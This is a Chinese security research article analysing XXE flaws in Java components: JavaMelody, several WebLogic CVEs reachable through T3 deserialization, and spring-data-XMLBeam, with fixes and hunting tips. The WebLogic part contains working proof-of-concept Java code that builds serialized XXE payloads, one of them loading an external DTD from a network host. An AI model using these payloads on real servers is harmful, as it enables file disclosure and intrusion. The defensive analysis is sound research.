Java XXE漏洞典型场景分析

本文首发于oppo安全应急响应中心:

https://mp.weixin.qq.com/s?__biz=MzUyNzc4Mzk3MQ==&mid=2247485488&idx=1&sn=65098eb75e035ff2f90d1ea552c4100a&chksm=fa7b097ccd0c806a40dd62a1f629b4753dc4b57e6af0ad618656234c46f4dfeef01140ce25a4&mpshare=1&scene=23&srcid=&sharer_sharetime=1586263198516&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd

0x01 前言:

  XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,扫内网扫描。以前对xxe的认识多停留在php中,从代码层面而言,其形成原因及防护措施较为单一,而java中依赖于其丰富的库,导致解析xml数据的方式有多种,其防御手段也有着种种联系,本文主要从几个cve的分析,了解java中xxe的常用xml解析库、xxe的形成原因、java中xxe的防护手段以及如何挖掘java中的xxe。

0x02 XXE相关分析:

1.JavaMelody组件XXE

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

默认情况下只要将其添加pom依赖中,其将随web服务一起启动,所以不需要什么权限即可访问此路由,若路径泄露如下图所示本来就会泄露一些敏感信息

1.1 漏洞点分析

在monitor的filter匹配之后将会对请求的http请求内容做处理获取请求类型,在net/bull/javamelody/PayloadNameRequestWrapper中在处理当content-type为以下两种情况:

1.contentType.startsWith("application/soap+xml")

2.contentType.startsWith("text/xml") || requests.getheader("SOAPAction")

部分函数调用栈如下图所示:

在content type满足xml数据请求规则后调用parseSoapMethodName来对http请求内容做解析,这个函数就是漏洞所在处

这里使用xmlInputFactor工厂类,该类与DocmentBuilderFactory一样都可以设置一些feature来规范化xml处理过程,那么问题就是默认情况下dtd解析和外部实体都是可以使用的,如下两条配置即为导致xxe的默认配置

<tr><td>javax.xml.stream.isSupportingExternalEntities</td><td>Resolve external parsed entities</td><td>Boolean</td><td>Unspecified</td><td>Yes</td></tr>
<tr><td>javax.xml.stream.supportDTD</td><td>Use this property to request processors that do not support DTDs</td><td>Boolean</td><td>True</td><td>Yes</td></tr>

在xmlInputFactor类的文件中就可以找到默认的一些feature,我们可以将feature理解为为了解析xml而提供的配置选项

 pom依赖:

        <dependency>
            <groupId>net.bull.javamelody</groupId>
            <artifactId>javamelody-spring-boot-starter</artifactId>
            <version>1.73.1</version>
        </dependency>

1.2 代码层面修复

那么在该组件的新版本中对应的修复如下图所示,默认情况下在创建xml解析对象之前设置工厂的feature禁用掉dtd和外部实体,从而防御xxe

 

1.3 如何避免xxe

       在实际的开发中,对于xml数据解析流程不需要外部实体参与的情况,设置feature将其禁用。在确定组件版本对xml的解析已经禁用掉外部实体后,也要设计filter来对该功能的访问进行鉴权操作,防止敏感功能被越权访问。

2.weblogic中的xxe

  这节主要分析weblogic中的几个xxe,包括CVE-2019-2647-CVE2019-2650以及CVE2019-2888,那么这几个洞的原因都是weblogic依赖的jar包中涉及xml数据处理时默认情况下没有做好外部实体限制措施,导致可以通过T3协议进行序列化payload发送,从而利用外部实体进行xxe

2.1 漏洞点分析  

  第一处是是Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmServerPayloadContext,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:

  在WsrmServerPayloadContext的readEndpt方法中直接就能发现存在xml解析,其中使用DocumentBuilderFactory类作为解析工厂类,这里并没有添加任何feature限制外部实体的加载,所以只需要关心var14是否可控

那么在WsrmServerPayloadContext的readExternal方法调用了readEndpt方法,该方法将在反序列化时自动调用,与通常的readObject相类似,而readEndpt中的var14又来自此时的var1(payload 输入流),所以满足可控条件

那么从反序列化到xxe的入口点就是如此,接下来只需要构造满足条件的反序列化数据流通过t3协议发送到weblogic的7001端口即可,找到该类的序列化时调用的函数然后跟踪其输出流就行

在writeExternal中判断this.fromEndpt不为null时,调用writeEndpt传入输出流, 可以看到this.fromEndpt实际上是EndpointReference的实例,根据方法名以及入口参数盲猜要将该类的实例写进输出流

那么实际上该函数的功能也主要是通过XMLSerializer的serlialize处理EndpointReference的返回值(Element类的实例)后最终存储为字节数组,并在输出流中写入字节数组和其长度,那么XMLSerializer的serialize方法的实现了3种重载,分别可以传入Element,DocumentFragment,Document,那么实际上构造xml的payload时如果使用Element型的重载,那么实际上写入的序列化数据中包含的xml数据外部实体将被解析最终只留下节点元素,所以为了在payload中保留完整的xml的payload,需要使用Document型的重载,因此这里需要重写WsrmServerPayloadContext的writeEndpt方法即可,我们只需删除jar包中对应的class字节码文件重新打包引入,然后本地新建与其包名类名一致的该类即可,从而定制如我们目标相符合的序列化数据(接下来几个weblogic的xxe payload本地构造方法均与此一样)

 构造结构如上图所示,我们知道DocumentBuilder的parse处理xml文件后将返回Document,因此我们只需要将处理结果再传入serialize函数即可达成目标

 

 重写部分如下所示:

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException {
        ByteArrayOutputStream var3 = new ByteArrayOutputStream();
        OutputFormat var4 = new OutputFormat("XML", (String)null, false);
        XMLSerializer var5 = new XMLSerializer(var3, var4);
        Document doc = null;
        Element element = null;
        DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
        doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
        var5.serialize(doc);

那么根据之前的分析只需赋值his.fromEndpt为EndpointReference的实例,然后我们自己在重写的writeEndpt方法中调用DocumentBuilder的parse解析xml的payload拿到document即可

poc如下:

import weblogic.wsee.addressing.EndpointReference;
import weblogic.wsee.reliability.WsrmServerPayloadContext;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class weblogicxxe1 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getObject() {
        EndpointReference fromEndpt = (EndpointReference) new EndpointReference();
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

生成的poc如下所示,序列化的数据包含完整的xml payload,然后使用t3协议直接打即可,由请求也可以看到的确在反序列化的过程中解析了xml并加载了外部实体

 

第二处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/message/UnknownMsgHeader类,该类的readExternal方法中直接存在没有任何防御措施的xml解析,使用的仍为DocumentBuilderFactory,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:

在UnknownMsgHeader的readExternal方法中xml解析时的parse方法入口参数var9主要来源于输入流Objectinput,可控,那么只需构造相应的序列化数据即可

 

找到其writeExternal方法,这里可以看到其写入xml payload时也使用的为XMLSerializer.serialize,这里写入的xmlheader也可以进行替换成xml解析后的Document类的实例,但是这里要用到this.qname属性,并向输出流写入该属性的三个值,由于这三个值均为字符串并且并未规定格式,因此我们只需任意赋值即可

修改其writeExternal方法如下:

public void writeExternal(ObjectOutput var1) throws IOException{
        var1.writeUTF("tr1ple");
        var1.writeUTF("tr1ple");
        var1.writeUTF("tr1ple");
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        OutputFormat var3 = new OutputFormat("XML", (String)null, false);
        XMLSerializer var4 = new XMLSerializer(var2, var3);
        Document doc = null;
        DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder dbBuilder = null;
        try {
            dbBuilder = dbFactory.newDocumentBuilder();
            doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
        } catch (SAXException e) {
            e.printStackTrace();
        }
        var4.serialize(doc);

 poc:

import org.w3c.dom.Element;
import weblogic.wsee.message.UnknownMsgHeader;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe2 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { UnknownMsgHeader umh = new UnknownMsgHeader(); return umh; } }

生成序列化数据后用t3协议发送即可触发xxe

第三处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmSequenceContext类,在其readEndpt方法中同样存在与前两个分析中相似的处理流程,使用DocumentBuilder来解析包含xml payload的输入流,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:

 在其readExternal方法中调用了readEndpt方法,这里var2为我们构造的xml数据的长度,所以肯定大于零

 

那么只需要按照其writeEndpt规范的逻辑写就行,我们只需在调用serialize前控制其入口参数的值即可

 更改后的writeExternal如下:

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {
        try {
            DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance();
            var3.setNamespaceAware(true);
            DocumentBuilder var4 = var3.newDocumentBuilder();
            Document var5 = var4.newDocument();
            Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion));
            DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri());
            var1.write(var6);
            ByteArrayOutputStream var7 = new ByteArrayOutputStream();
            OutputFormat var8 = new OutputFormat("XML", (String)null, false);
            XMLSerializer var9 = new XMLSerializer(var7, var8);
            Document doc = null;
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
            doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); 
            var9.serialize(doc);

poc:

import weblogic.wsee.addressing.EndpointReference;
import weblogic.wsee.reliability.WsrmSequenceContext;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class weblogicxxe3 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static Object getObject() {
        EndpointReference  end = new EndpointReference();
        WsrmSequenceContext umh = new WsrmSequenceContext();

        try {
            Field f1 = umh.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(umh, end);

        } catch (Exception e) {
            e.printStackTrace();
        }
         return umh;
    }
}

 第四处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/wstx/internal/ForeignRecoveryContext类,从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示:

  在ForeignRecoveryContext的类文件定义中如果直接找并未发现xml的处理流程,该处的利用相较于前三处构造来说还是稍微精巧一点,需要了解一下代码的基本处理逻辑。网上也没找到相应的具体分析,只有xxlegend师傅的一些简单复现分析,先给出其poc

import weblogic.wsee.wstx.internal.ForeignRecoveryContext;
import weblogic.wsee.wstx.wsat.Transactional.Version;
import javax.xml.ws.EndpointReference;

import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import java.io.*;
import java.lang.reflect.Field;

public class weblogicxxe4 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static class MyEndpointReference extends EndpointReference {

        @Override
        public  void writeTo(Result result){
            byte[] tmpbytes = new byte[4096];
            int nRead;
            try{
                InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml");

                while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
                    ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
                }
            }catch (Exception e){
                e.printStackTrace();
            }
            return;
        }
    }
    public static Object getObject() {
        Xid xid = new weblogic.transaction.internal.XidImpl();
        Version v = Version.DEFAULT;
        ForeignRecoveryContext frc = new ForeignRecoveryContext();
        try{
            Field f = frc.getClass().getDeclaredField("fxid");
            f.setAccessible(true);
            f.set(frc,xid);
            Field f1 = frc.getClass().getDeclaredField("epr");
            f1.setAccessible(true);
            f1.set(frc, new MyEndpointReference());
            Field f2 = frc.getClass().getDeclaredField("version");
            f2.setAccessible(true);
            f2.set(frc,v);
        }catch(Exception e){
            e.printStackTrace();
        }
        return frc;
    }
}

  先看看其writeExternal方法,箭头所指之处就是构造payload的关键之处,this.epr是抽象类EndpointReference的对象,所以这里其定义的write函数肯定要被其子类实现,那么这里实际上是将结果写入到var2中,那么poc中只需要继承EndpointReference并读取我们的xml payload写入到var2中即可,之后将通过var1写入到序列化数据中

  那么在其反序列化过程中调用readExternal将通过readFrom方法读取我们的xml payload,接下来就是一大段初始化的过程,直到加载javax.xml.ws.spi.Provider后调用其readEndpointReference来对xml数据流进行读取

  从ForeignRecoveryContext的readExternal到漏洞触发点部分调用栈如下图所示:  

  接下来就到了xxe的触发点,这里解析xml的类也与之前分析的三个cve不同,这里的Unmarshaller 类将 XML 数据反序列化解析为java对象,然而这里并未添加任何防护措施,因此导致可以注入外部实体,从而产生xxe

 

  第五处存在于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor类,在该类的load函数中存在使用DocumentBuilderFactory进行xml解析,然后该工厂类是weblogic实现的子类,其中根据本地的配置weblogic.xml.jaxp.allow.externalDTD的值来选择是否设置以下两条featue来限制外部实体的加载,然而默认情况下可以加载外部实体,因此这两条feature失效

                this.delegate.setAttribute("http://xml.org/sax/features/external-general-entities", allow_external_dtd);
                this.delegate.setAttribute("http://xml.org/sax/features/external-parameter-entities", allow_external_dtd);

从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示:

 在其load函数中只需控制var4即可,其为输入流可本地构造

 那么只需要找到在何处调用了load方法即可,可以看到在其反序列化时调用的readExternal中将调用load方法,并且从数据流走向可以判断parse解析的入口参数是可控的

那么只需要按照writeExternal的逻辑构造序列化数据即可,其调用toString来传入EJBTaglibDescriptor的实例

在tostring方法中又调用该实例的toxml来将程序原来想要输出的数据输出到xmlwriter中并最终返回一个xml字符串输出为序列化数据,其中xmlwriter的println方法是真正负责写入数据的,其写入的即为xml数据

 

那么我们选择直接控制写入xmlwriter的数据即可

 

 重写toxml如下:

  public void toXML(XMLWriter var1) {
        var1.println("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
                "<!DOCTYPE data SYSTEM \"http://192.168.3.199:8989/1.dtd\" [\n" +
                "        <!ELEMENT data (#PCDATA)>\n" +
                "        ]>\n" +
                "<data>data</data>");
    }
}

然后本地覆盖原生EJBTaglibDescriptorc.class即可

poc:

import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class weblogicxxe5 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getObject() {
        EJBTaglibDescriptor umh = new EJBTaglibDescriptor();
        return umh;
    }
}

2.2 代码层面修复

那么weblogic的这几个xxe都要多亏与T3协议的助攻,只需要在weblogic类加载路径中可以利用的类,只需要本地构造好payload,然后将序列化的数据以T3协议格式发送至其7001端口即可,那么weblogic在更新的补丁中,也针对这些类添加了相应的feature禁掉了外部实体,从而防止进行xxe攻击

http://xml.org/sax/features/external-general-entities
http://xml.org/sax/features/external-parameter-entities
http://apache.org/xml/features/nonvalidating/load-external-dtd

并且通过以下属性禁用掉了xinclude并关掉了外部实体引用

setXIncludeAware(false)
setExpandEntityReferences(false)

2.3 如何避免xxe

  2.2中从代码层面上单个点添加代码,实际上这种方法只是单纯防御了这几个类,如果在后续的开发中加入新的jar包中存在类有未添加feature的xml解析操作,并且能够进行xml操作的类可以进行序列化,那么仍然面临着导致xxe的风险。T3协议是非常重要的WebLogic内部的通讯协议,若直接禁用T3协议则有可能影响到正常业务运行,那么可以在weblogic控制台的筛选器配置中设置连接筛选器规则进行白名单限制,选择weblogic.security.net.ConnectionFilterImpl,将允许的IP地址或网段设置为allow,然后将除此之外的所有IP地址或网段设置为deny。

3.spring-data-XMLBeam XXE

3.1 漏洞点分析    

该洞主要xmlbeam这个库的问题,而spring-data-commons又使用了xmlbeam来处理客户端传输的xml文件,解析其内容然后服务端响应返回,那么在解析xml中默认允许加载外部实体,从而导致xxe,属于有回显xxe,部分调用栈如下图所示,其中由Streaminput的readDocument进入xml数据的解析

 

又是熟悉的DocumentBuilder,可以看到在创建解析工厂以及调用parse解析之间并未添加任何feature来限制外部实体

 

pom依赖:

        <dependency>
            <groupId>org.xmlbeam</groupId>
            <artifactId>xmlprojector</artifactId>
            <version>1.4.13</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.data</groupId>
            <artifactId>spring-data-commons</artifactId>
            <version>2.0.5.RELEASE</version>
        </dependency>

3.2 代码层面修复

xmlbeam用的为DocumentBuilderFactory来创建dom工厂,修复的为xmlbeam的处理xml的处理文件,修复后主要为设置一些features,用于禁止外部实体的加载,另外还添加了禁止内联 DocTypeDtd的加载,feature通过dom工厂的setFeature函数进行设置

 本质处理流程没问题,只是处理前需要做一些防护措施,对于不需要的功能直接禁用掉

3.3 如何避免xxe

  对于1.4.15版本之前未升级的xmlxbeam库,我们可自己在创建xml解析工厂类实例后为其设置feature禁用掉外部实体或者直接升级依赖版本到1.4.15以后。

0x03 JAVA中XXE 挖掘

  java中解析xml的库众多,那么白盒中可以通过正则匹配导入相应xml解析库的类,再加以手工检测来判断是否存在,比如正则匹配以下常用库

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

afanti师傅在挖掘weblogic的xxe时即通过匹配可序列化以及利用xml相关解析的库然后手工检测,其项目地址为:https://github.com/Afant1/JavaSearchTools,那么根据工具要求首先要通过jd-jui将jar包中的字节码文件恢复为java文件

 

以默认格式保存后即可使用javasearchtools.jar进行源码扫描

 

 

 

 

 如下图所示该工具内置的正则能够匹配出我们之前分析的几个存在xxe漏洞的文件,当然该工具可能存在误报,只是作为辅助来缩小我们搜索的范围,那么接下来只需手工去扫描出来的类中去逐个确定即可

那么该工具判断xxe核心就是如下图所示的两个布尔值

 

 

 分别是两种正则匹配规则,xml匹配大量内置xml解析库,是否可反序列化去匹配反序列化中的关键字,同时满足这两个条件的类将被筛选

 

 

 

那么挖掘其他地方的xxe时也可以使用这种正则匹配的方法来辅助检测,比如对于上面分析JavaMelody和xbeam时并不需要类具有序列化的特性,因此灵活根据实际制定匹配规则即可在其他组件的jar包中寻找可能存在xxe的点

0x04 总结

经过上面的分析,我们能够了解java中xxe的形成原因以及哪些xml处理类默认情况下能够导致xxe,当然还有其它类本文中可能未曾提及,但道理都是相通的,本文中分析的JavaMelody、Weblogic以及xbeam核心问题还是在涉及xml数据解析时引入外部可控的xml数据,但自身并未考虑是否可能产生xxe漏洞,未做到禁用外部实体的防御措施。https://find-sec-bugs.github.io/这个网站上也列出了常见的xml处理库的标准防御方法,那么总的来说,基于xxe的防御主要为以下三种:

1.设置feature为XMLConstants.FEATURE_SECURE_PROCESSING为true

这种方法实际上还是会加载外部实体但是会调用SecuritySupport.checkAccess中进行判断,判断中将外部实体的协议和允许的白名单协议进行匹配,因为XMLConstants.FEATURE_SECURE_PROCESSING将设置Property.ACCESS_EXTERNAL_DTD和Property.ACCESS_EXTERNAL_SCHEMA两个属性设置为空,而解析节点之前将根据这两个属性来设置fAccessExternalDTD为空,接着解析节点过程中如果加载外部实体为true,所以会进入checkaccess函数里面以fAccessExternalDTD作为白名单协议数组,而其值已经被置空,所以实际上所有协议被禁用,从而以此方式来达到防御xxe,比如效果如下所示

2.设置feature的http://apache.org/xml/features/disallow-doctype-decl为true

从该feature的字面意思也能猜到设置该值为true实际上禁用了(dtd)文档定义类型,在解析xml文件的过程中解析Doctype时将判断fDisallowDoctype属性是否为true,若为true则直接报错,所以这么设置就彻底杜绝了xxe漏洞,这种方法完全杜绝了所有dtd的声明,包括内部实体

3.如果想使用内部实体,单纯禁用外部实体则设置以下两个值即可,则不会进行doctype的解析,从而不会报错,xml解析其他实体正常进行

FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false); 

参考:

https://blog.spoock.com/2018/10/23/java-xxe/

https://www.leadroyal.cn/?p=914

https://www.leadroyal.cn/?p=930

https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENT

https://xz.aliyun.com/t/7105#toc-3

https://www.cnblogs.com/-zhong/p/11246369.html

https://paper.seebug.org/906/  weblogic 多个xxe

https://blog.csdn.net/he_and/article/details/89843004

posted @ 2020-04-07 20:46  tr1ple  阅读(620)  评论(0编辑  收藏